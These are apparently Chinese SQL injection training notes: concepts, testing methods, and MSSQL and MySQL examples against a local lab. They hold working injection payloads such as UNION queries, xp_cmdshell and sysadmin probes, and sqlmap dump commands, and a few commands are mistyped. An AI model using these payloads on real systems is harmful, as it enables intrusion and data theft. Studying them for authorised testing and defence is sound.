第一节:
1、学习并掌握常见的数据库命令、语法
2、掌握HTTP协议中常见的请求方法及参数含义
3、要灵活地运用手工注入和工具辅助注入
4、掌握SQL注入的不同注入方式
用户在上网时查看一个网站时
通过客户端进行请求->脚本引擎构造语句向数据库发起请求->数据库查询记录->将查询到的记录返回给脚本引擎->客户端就能查看到相应信息
[图片]
课后习题
1、MYSQL和SQL server数据库中的默认的表有哪些?
MySQL自带四个数据库:
information_schema
performance_schema
mysql
test
informance_schema
保存了MySQl服务所有数据库的信息。
具体MySQL服务有多少个数据库,各个数据库有哪些表,各个表中的字段是什么数据类型,各个表中有哪些索引,各个数据库要什么权限才能访问。
mysql
保存MySQL的权限、参数、对象和状态信息。
如哪些user可以访问这个数据、DB参数、插件、主从
performance_schema
主要用于收集数据库服务器性能参数
提供进程等待的详细信息,包括锁、互斥变量、文件信息;
保存历史的事件汇总信息,为提供MySQL服务器性能做出详细的判断;
对于新增和删除监控事件点都非常容易,并可以随意改变mysql服务器的监控周期,例如(CYCLE、MICROSECOND)
test
没有东西
2、常见的SQL注入工具有哪些?
第二节:
SQL注入定义、划分及形成原因
1、SQL注入定义及危害
定义:利用现有应用的特性,攻击者通过在web表单、url等可输入数据的地方插入SQL语句并原有SQL语句被代库执行。SQL命令就是前端应用程序和后端数据库之间的接口
危害:数据库敏感信息泄露;网页被篡改、挂马;数据库被恶意操作;服务器被远程控制,被安装后门
2、SQL注入常见分类
按数据类型分类:数字型(Integer)and 1=1、字符型(String)and ‘1’=‘1’
按返回结果分类:显错注入(Error-Based)、盲注(Boolean/Time-Based Blind)
3、SQL注入如何形成
1、数据与代码未严格分离
2、用户提交的参数数据未做充分检查过滤被代入到SQL命令中,改变了原有的SQL命令的语义,且成功被执行
4、SQL注入常见过程
客户端:参数值等数据被修改->服务端:未经检查和过滤即将被修改的数据注入到SQL命令中,SQL命令功能被修改->数据库引擎:执行被修改后的SQL命令->服务端:将注入的结果返回给客户端->客户端:根据上一次注入获取到的敏感信息构造注入语句进一步注入
5、SQL注入在渗透测试过程中的作用
绕过登录验证:使用万能密码登录网站后台等
获取敏感数据:获取网站管理员账号、密码等
文件系统操作:列目录。读取、写入文件
注册表操作:读取、写入、删除注册表等
执行系统命令:远程执行命令
课后习题:
1、从互联网(wooyun漏洞报告平台、wooyun wiki等)上搜集不同类型的SQL注入案例
2、对搜集来的不同类型SQL注入案例进行分析(显错注入?盲注?)
第三节:
SQL注入寻找、利用及判断依据
1、SQL注入漏洞频繁出现
URL参数、HTTP包头、搜索框、目录名、文件名–>未经检查和过滤即被代入到SQL语句中执行(注入漏洞)
最普遍的注入漏洞是由于参数值过滤不严导致的。
2、SQL注入漏洞如何寻找
使用工具:
优点:自动化、范围广、效率高
缺点:误报、漏报、测试方法有限
手工测试:
优点:测试方法灵活
缺点:效率低,范围窄,因测试者技术水平而异
常用的SQL注入工具:Safe3wvs、BurpSuite、Appscan、ACUNETIX WVS
3、SQL注入漏洞判断依据
根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试语句被执行了,说明存住注入漏洞。
构造测试语句->提交请求->分析返回结果->符合预期->存在SQL注入漏洞->不符合预期结果(不存在SQL注入漏洞)->构造测试语句
4、常见SQL测试语句和技巧
数字型:and 1=1/and 1=2 or 1=1/or 1=2 + - * / > < <= >= 1 like 1/1 like 2
字符型:and ‘1’=‘1/and ‘1’ =‘2 or ‘1’=‘1 or ‘1’ =‘2’ # +’ /+’ 1、-‘ 0/-’ 1、>、<、 <=、>= 1’ like ‘1/1’ like '2
SQL server 和Oracle 注释 – 单行注释 用于多行注释
课后习题:
1、本地搭建web应用系统(dvwa),尝试使用手工、工具对其系统进行SQL注入漏洞的检测
2、对检测出的漏洞(SQL注入)进行进一步利用,尝试读取敏感信息(如:操作系统版本信息、数据库版本信息、当前数据库用户及密码、应用系统管理用户信息等)
第四节:SQL注入示例
1、SQLserver 注入常见的测试语句
and exists(select * from sysobiects ) //判断数据库是否为SQLServer
and exists(select * from tableName)//判断某表是否存在…tableName为表名
and 1=1 (select @@VERSION) //SQLserver版本
and 1=1 (select db_name())//当前数据库名
and 1=1 (select @@servername)//本地服务名
and 1=1 (select IS_SRVROLEMEMBER(‘sysadmin’))//判断是否是系统管理员
and 1=1 (select IS_MEMBER(‘db_owner’))//判断是否是库权限
and 1=1 (select HAS_DBACCESS(‘master’))//判断是否有库读取权限
and 1=1 (select count(*)from master.dbo.sysobjects where xtype =‘X’ and name =‘xp_cmdshell’)//判断XP_CMDSHELL是否存在
2、SQLServer手工注入实例演示
本地环境配置:IIS 6.0 + ASPX + SQLServer 2008
目标URL:http://192.168.0.7/sql.aspx?id=1
拿到url之后,判断url是否存在注入
http://192.168.0.7/sql.aspx?id=1 and 1=1 如果返回正常界面
http://192.168.0.7/sql.aspx?id=1 and 1=2 返回一个错误页面,就可以判断这个url是存在注入的
http://192.168.0.7/sql.aspx?id=1 and exists(select * from sysobjects)–返回一个正常页面,证明是使用sqlserver数据库的,
接下来判断数据库版本等等
http://192.168.0.7/sql.aspx?id=1 order by 1 判断有几列,如果返回错误,就可以判断有几列了
http://192.168.0.7/sql.aspx?id=1 union select 1,2,3,4 from admin
http://192.168.0.7/sql.aspx?id=1 group by admin ,id having 1=1 –
工具,sqlmap使用
sqlmap.py -u “http://192.168.0.7/sql.aspx?id=1” -p id --dbms mssql
sqlmap.py -u “http://192.168.0.7/sql.aspx?id=1” -p id --dbms mssql --dbs 获取所有的数据库
sqlmap.py -u “http://192.168.0.7/sql.aspx?id=1” -p id --dbms mssql --current -db 获取当前数据库名
sqlmap.py -u “http://192.168.0.7/sql.aspx?id=1” -p id --dbms mssql --D 数据库名 --tables 获取当前数据库表名
sqlmap.py -u “http://192.168.0.7/sql.aspx?id=1” -p id --dbms mssql --D 数据库名 -T admin --culmns 获取表中字段
sqlmap.py -u “http://192.168.0.7/sql.aspx?id=1” -p id --dbms mssql --D 数据库名 -T admin --dump 获取所有字段内容
课后习题:
1、本地部署测试环境(IIS 6.0 +ASPX+SQL Server 2008)
2、对搭建好的测试环境进行SQL注入漏洞检测与利用,并尝试获取数据库敏感信息、执行系统命令等
第五节:MYSQL注入
1、Mysql注入常见测试语句
常见函数:
user() //数据库用户名
current_user() //当前数据库用户名
database() //数据库名
version() //MySQL数据库版本
@@datadir // 读取数据库路径
@@basedir //MySQL安装路径
@@version_compile_os //获取操作系统版本
load_file() //MySQL读取本地文件的函数
查询MySQL基本信息和数据库:
and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*
and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*
查询表名:
and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码/*
查询字段和数据:
and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_name=表名的16进制编码 and table_schema=数据库的16进制编码/*
and 1=2 union select 1,2,3,字段1,5,字段2,7,8,from 数据库.表/*
2、MySQL手工注入实例演示
3、MySQL工具辅助注入实例演示
sqlmap.py -u “url” -p id --dbms mysql
http://drops.leesec.com/#!/drops/1268.SQL%E6%B3%A8%E5%85%A5%E5%85%B3%E8%81%94%E5%88%86%E6%9E%90 //写的可好了